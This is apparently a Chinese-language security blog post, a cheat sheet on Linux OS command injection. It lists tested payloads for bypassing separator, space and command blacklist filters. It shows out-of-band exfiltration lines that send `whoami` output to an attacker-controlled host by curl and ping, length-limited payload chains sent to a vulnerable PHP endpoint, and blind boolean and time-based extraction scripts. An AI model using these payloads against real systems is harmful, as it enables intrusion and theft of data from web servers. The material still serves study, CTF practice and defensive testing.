Linux OS 命令注入指北

Author Avatar
Tr0y 5月 13, 2019 14:06:26 本文共 3.4k 字
  • 文为知己者书
  • 在其它设备中阅读本文章

当应用需要调用一些外部程序去处理的情况下,就会用到一些执行系统命令的函数,这些函数将字符串当做参数传递给 shell 来当做系统命令来执行,若用户可以控制参数,就有可能通过 OS 命令注入来执行任意命令。

以下 payload 均在 Ubuntu 的 bash 实际测试过

简介

命令注入是一种通过存在漏洞的应用程序向主机操作系统执行任意命令。当应用程序对用户提供的数据(表单,cookie,http 头)不进行检测传递给系统 shell,那么就有可能存在命令注入。在这种攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的特权执行。主要原因是输入验证不足导致命令注入攻击。

需要注意的是,OS 命令注入导致命令执行,和代码执行是不同的,代码执行的例子:<?php assert($_POST['a']);?>,当a=phpinfo()的时候就会执行phpinfo。任意代码执行会导致任意命令执行。

联动

编程语言一般都会提供内置的函数来执行系统命令,我称之为联动,例如 PHP 的 system()。不同语言与 shell 之间的联动大同小异,本文内容主要以 PHP 为例。

应对限制

命令分隔符

禁止使用命令分隔符。

常规的是命令分隔符 ;,但是还有很多可以代替它的:

  • ;:常规分隔符,不论;前面的命令执行成功与否都会执行后面的命令。
  • &&&& 左边的命令成功执行后,&& 右边的命令才能够被执行。
  • ||:如果 || 左边的命令执行失败了就执行 || 右边的命令。
  • && 放在启动参数后面表示设置此进程为后台进程,这里可以巧妙地作为命令分隔符:ls&whoami实际上相当于 ls &; whoami,即将ls放到后台运行,结束后再运行 whoami
  • |:管道符左边命令的输出作为管道符右边命令的输入。所以左边的输出并不显示。
  • %0a:url 编码的换行符
  • %0d:url 编码的回车符
  • %00:url 编码的 NULL,高版本的 PHP 会拦截:
    Warning: system(): NULL byte detected. Possible attack in /var/www/html/index.php on line 3
    

空格或者特殊字符

禁止使用空格。

能替换空格的也有很多:

  • <:输入重定向,后面需要接目录或者文件名,例如ls<./,所以不是所有的命令都可以使用它作为空格替代符,例如ping
    bash-3.2$ ping<baidu.com
    bash: baidu.com: No such file or directory
    
  • <>:打开一个文件作为输入与输出使用。所以它比<的限制更严格,后面必须是文件,连目录都不行:
    bash-3.2$ cat<>key
    Macr0phag3
    bash-3.2$ ls<>./
    bash: ./: Is a directory
    
  • %09:url 编码的制表符的。
  • %0a:url 编码的换行符。
  • ${IFS}$IFS:首先,IFS是一个系统变量,内置的分隔符,查看默认的IFS
    bash-3.2$ set |grep IFS
    IFS=$' \t\n'
    
    所以它可以用来替代空格。那么 ${IFS}$IFS有什么区别呢?其实是没有区别的,${}的作用仅仅是起到了精确界定变量名称的作用,比如$ab实际上有歧义,可以说是$ab,也可以说是$ab,Linux 默认按照最长的来解析,即$ab,如果我们就是想写$ab的话,需要这样${a}b。当然${}还有变量替换的作用,与这里无关就不细说了。
  • {cmd,arg}:这个方法实际上是巧妙地利用了花括号扩展传送门🚪。花括号扩展本来的作用是组合,例如:
    bash-3.2$ echo a{d,c}e
    ade ace
    
    也就是说,d、c 都是候选字符,输出的结果是候选的组合。我们可以看到,中间多了一个空格。所以就可以这样利用:
    bash-3.2$ echo {ls,./}
    ls ./
    bash-3.2$ {ls,./}
    Applications    Documents    ...
    ...
    
    需要多个参数也是可以的,加多个,就行:{ls,./,./,./}
    不过需要注意,使用花括号扩展的时候,{}中不能有空格。

其他

个人感觉这两个有点鸡肋:

  • $PS2 == >
    # echo "<?php echo 'Macr0phag3'; ?$PS2"
    <?php echo 'Macr0phag3'; ?>
    
    一个非常长的命令可以通过在末尾加 \ 使其分行显示 ,而$PS2 是多行命令的默认提示符,默认值是 >
  • $PS4 == +。它是 set -x 用来修改跟踪输出的前缀(很少很少用到)

命令

黑名单、白名单过滤来禁止使用一些系统命令。

  • 单字符组合
    • a=l;b=s;$a$b == ls
    • a=c;b=at;c=Macr;d=0phag3;$a$b ${c}${d} == cat Macr0phag3
  • 字符串变形
    • base64:
      [macr0phag3@127.0.0.1 ~]# `echo Y2F0Cg==| base64 -d` key
      Macr0phag3
      
  • 利用
    Bash 很多东西都是,例如''、不存在的变量等等,就可以利用他们来隔开命令:
    • 续行符\c\at key甚至是\c\a\t \k\e\y。实际上,\放在命令的开头是可以用来忽略 alias 的,详细的在下面有讨论。
    • l''sl''s == ls
    • "l""s"或者'l''s'或者'l'"s"或者l"s"
    • l${anything}s:因为anything不存在,是空的,所以l${anything}s == ls,与l''s原理一样。
    • l$1sl$2s、…、l$9s:相比上面那个,这个方法不用{}也可以,因为这类数字名变量的名称界定比较特殊。至于它们是什么意思:
      $0: Shell 本身的文件名(这里用不到)
      $1~$n: Shell 的各参数值。$1 是第 1 个参数、$2 是第 2 个参数,以此类推。
      
    • l$*sl$@s:它们都表示所有 Shell 参数的列表,不包括脚本本身(即 $1 - $n)。但是还是有区别的。举例:执行 test.sh 1 2 3时,"$*"表示"1 2 3",而"$@"表示"1" "2" "3"。二者没有被引号引起来时是一样的都为"1 2 3",只有当被引号引起来后才不一样。
    • l$!s$!代表 Shell 最后运行的后台 Process 的 PID。可以简单地理解为,例如一个命令放到后台运行:ping baidu.com & 后它的 PID。
    • c$()at key$()代表执行一个的命令,返回值也为空。当然这样也是可以的:l$(echo s)
    • l``s:这样当然也可以了。
  • 花括号扩展
    花括号扩展上面说过了,这里不赘述了:
    bash-3.2$ echo {c,c}at key
    cat cat key
    
    虽然cat报错了,但是不影响cat key执行。不过不是所有的命令都能这样使用:
    bash-3.2$ echo {w,w}hoami key
    whoami whoami key
    bash-3.2$ {w,w}hoami key
    usage: whoami
    
    只有形似cmd cmd ars也能执行后面的cmd arg的时候才能使用。

覆盖指令

利用 alias 或者自定义函数来覆盖关键的系统命令,比如在 .zshrc 中设置:

alias ls="echo 'not allowed'"

cat(){
    echo "not allowed"
}

上面提到过,开头的 \ 可以用于忽略 alias,即执行 ls 就是执行 echo "not allowed",但是执行 \ls 就是真的执行了 ls

对于自定义的函数来说,利用 command 开头即可忽略自定义的函数,如 command cat

完整示例

» ls
not allowed

» \ls
key

» cat key
not allowed

» command cat key
Macr0phag3

无回显

不是在所有的情况下都能直接拿到输出。

这里的 your_own_ip 是你自己搭建的外带数据接收服务器,懒得搭建的话,使用 nc 监听一下端口也行。实在想临时用用的话可以使用知道创宇的,传送门🚪

  • http 外带
    curl your_own_ip.com/`whoami`
    
  • ICMP 外带
    ping -c 1 `whoami`.your_own_ip.com
    

注意,命令执行的结果中,常常会有空格等等特殊字符,这个时候使用 base64 编码即可:

curl your_own_ip.com/$(whoami|base64)

长度

在命令注入中往往会存在注入命令的长度过短的情况,无法将全部命令完全的输入进去,这种情况下就需要我们来想办法突破系统命令长度的限制。

思路是:

  1. 将命令拆开,通过创建文件,以文件名的形式放到目录下
  2. 执行 ls,将目录里的文件名存到一个文件中
  3. 利用 . filename 或者 sh filename运行这个文件,执行命令。

以执行whoami为例:

[root@macr0phag3 fortest]# ls
[root@macr0phag3 fortest]# >i\\
[root@macr0phag3 fortest]# >m\\
[root@macr0phag3 fortest]# >a\\
[root@macr0phag3 fortest]# >o\\
[root@macr0phag3 fortest]# >h\\
[root@macr0phag3 fortest]# >w\\
[root@macr0phag3 fortest]# ls -t
w\  h\  o\  a\  m\  i\
[root@macr0phag3 fortest]# ls -t>c
[root@macr0phag3 fortest]# . c
bash: c: 未找到命令
root

这波操作很秀,但是有些问题需要解释一下:

假如这个目录下本来就存在一些文件、目录,会对这个方法造成影响吗?

不会。原因有 2 个:

  1. 下面利用的是 ls -t来获取目录的文件/文件夹,-t代表按照时间排序,所以可以保证我们创建的文件一点排在前面。

创建文件为何要按照命令的倒序?

和第一个问题一样,倒序保证ls -t后正序

>w\\ 是什么意思?

这个的原型是 cmd > file,但是 cmd 是可省的,甚至随意一个命令都可以用于创建文件:

[root@macr0phag3 fortest]# anything > test
bash: anything: 未找到命令
[root@macr0phag3 fortest]# ls
test

可以看到,虽然报错了,但是 test 还是创建成功了。所以这样写的时候,文件会优先被创建。

. c是什么意思?结果为什么是这样?

Linux 中,.也叫period,它的作用和source一样,就是用当前的 shell 执行一个文件中的命令。比如,当前运行的 shell 是 bash,则 . filename的意思就是用 bash 执行 filename 文件中的命令。注意,. file执行文件,是不需要 file 有 x 权限的。所以,c 里面的内容就被当做代码执行了。但是需要注意,sh是没法这样运行的,如果 www-data的 shell 是 sh 的话,就只能使用sh filename运行。

bash: c: 未找到命令 是怎么来的呢?是在 ls -t>c的时候创建的。由结果我们也可以知道,这样执行,有报错是不影响下一个命令执行的。

需要注意的是,这里的\\原本是\之所以要转义是 shell 的原因,如果从 PHP 传入,只需要 >i\即可。也就是这样利用的 payload 长度仅为 7

http://192.168.26.177/index.php?cmd=>du.com
http://192.168.26.177/index.php?cmd=> bai\
http://192.168.26.177/index.php?cmd=>ping\
http://192.168.26.177/index.php?path=ls -t>c # 这个是长度最长的
http://192.168.26.177/index.php?path=sh c

结果

[root@macr0phag3 fortest]# . c
bash: c: 未找到命令
PING baidu.com (123.125.114.144) 56(84) bytes of data.
64 bytes from 123.125.114.144 (123.125.114.144): icmp_seq=1 ttl=53 time=5.22 ms
64 bytes from 123.125.114.144 (123.125.114.144): icmp_seq=2 ttl=53 time=5.22 ms
64 bytes from 123.125.114.144 (123.125.114.144): icmp_seq=3 ttl=53 time=5.22 ms
^C
--- baidu.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2217ms
rtt min/avg/max/mdev = 5.223/5.225/5.228/0.083 ms

其实还有更短 payload 下的命令执行,不过我觉得相当不实用,因为目录下一般都会有其他文件,ls的结果默认按照字母顺序排列,payload 会被隔开。所以也就 CTF 会用用了:传送门🚪

类型

  • 常规注入
  • 盲注
    • 基于时间
    • 基于布尔
  • OOB

常规注入

利用命令分隔符来插入额外的命令。

例如:

<?php
    $cmd = $_GET['path'];
    echo system('ls $cmd');
?>

利用方式有很多。由于 bash 的命令分隔符为;,所以可以利用分号来执行多个语句:
payload:

path = "; whoami"

由于命令分隔符有很多种,所以 payload 也会有很多。

基于布尔盲注

只会返回命令执行成功/失败。

利用方式如下:

l$(whoami | cut -c 1 | tr a s)
l$(whoami | cut -c 1 | tr b s)
...
l$(whoami | cut -c 1 | tr r s)
# 命令执行成功,说明第一个字符为 r

原理就是利用cut提取结果的每一个字符,然后利用 tr 猜解,猜解的方式为将指定的字符替换成 s,如果与 cut 提取的字符一致,那么结果 tr 的结果就是ls,执行成功。否则 tr 的结果就不是 s,则最终执行的结果会出现报错:bash: la: 未找到命令

基于时间盲注

利用 sleep seconds 来获取结果。原理就是利用cut提取结果的每一个字符,然后利用 tr 猜解,猜解的方式为将指定的字符替换成数字,如果与 cut 提取的字符一致,那么结果 tr 的结果就是数字,sleep 就会产生时延,否则 tr 的结果是字符,sleep 不会有时延。

  1. 第一轮
    sleep $(whoami | cut -c 1 | tr a 1)
    ...
    sleep $(whoami | cut -c 1 | tr r 1) # 延时 1s, 说明第一个字符是 r
    
  • 第二轮
    sleep $(whoami | cut -c 2 | tr a 1)
    ...
    sleep $(whoami | cut -c 2 | tr o 1) # 延时 1s, 说明第二个字符是 o
    

OOB

OOB 可以看做是在无回显的情况下的 OS 注入,利用无回显中的技术即可。

End

What do you think?

本文标题: Linux OS 命令注入指北
原始链接: http://www.tr0y.wang/2019/05/13/OS命令注入指北/
发布时间: 2019.05.13-14:06
最后更新: 2019.06.09-17:00
版权声明: 本站文章均采用CC BY-NC-SA 4.0协议进行许可。转载请注明出处!